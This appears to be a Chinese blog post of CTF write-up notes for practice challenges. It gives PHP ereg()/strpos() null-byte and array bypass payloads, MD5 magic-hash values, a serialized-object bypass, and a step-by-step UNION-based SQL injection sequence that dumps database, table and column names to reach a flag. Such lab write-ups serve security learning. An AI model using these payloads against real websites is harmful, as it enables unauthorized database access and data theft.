CTF题解

原创

greedy-hat 于 2019-08-11 19:36:59 发布 1128 收藏

分类专栏： 安全

本文链接：https://blog.csdn.net/qq_41638851/article/details/99221512

文章目录

实验吧

Once more

点击这里

- %00截断漏洞 `?password=1e7%00*-*`
- 数组漏洞 `?password[]=9999999`

1. ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
2. 题中ereg()正则限制了password的形式，只能是一个或者多个数字、大小写字母
3. strpos() 函数查找字符串在另一字符串中第一次出现的位置（区分大小写）
4. ereg函数存在**NULL截断漏洞**，导致了正则过滤被绕过,所以可以使用%00截断正则匹配
5. ereg()**只能处理字符串的，遇到数组做参数返回NULL**，判断用的是`===`，要求类型也相同，而NULL跟FALSE类型是不同的,strpos()的参数同样不能为数组，否则返回NULL，而判断用的是`!==`，所以这里的条件成立，也能得到flag
6. **%00截断即遇到%00则默认为字符串的结束**
7. **当password为数组时它的返回值不是FALSE**

忘记密码了

1. vim编辑器在对某个文件编辑后，如果非正常退出，会产生一个该文件的临时文件，名字为**.原文件名.swp**。（还有一种获取源码的方式是其备份文件名：原文件名~）

天网管理系统

1. 240610708，aabg7XSs，aabC9RqS（mod5加密后第一个字符为0）
2. a:2:{s:4:“user”;b:1;s:4:“pass”;b:1;}（序列化）

简单的SQL注入

1. 知识点：当空格被过滤时，通常用()或者/**/代替空格

简单的SQL注入之3

1. 直接拿sqlmap跑，但笔者在跑字段名不行，跑字段内容还是OK的

Webug 显错注入

点击这里

mysql版本大于15，mysql自带information_schema数据库，在SQL注入中可以通过这个数据库获取到各个数据库及其表和字段的信息。

```
SELECT NAME FROM USER;
SELECT GROUP_CONCAT(NAME) FROM USER;

url:id=3' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA %23

url:id=3' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='webug' %23

url:id=3' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='flag' AND t
able_schema='webug' %23

url:id=3' UNION SELECT 1,GROUP_CONCAT(id) FROM flag %23

url:id=3' UNION SELECT 1,flag FROM flag where flag.id=1 %23
```

CTF脚本

点这里

CTFPHP

点这里

学习链接

点这里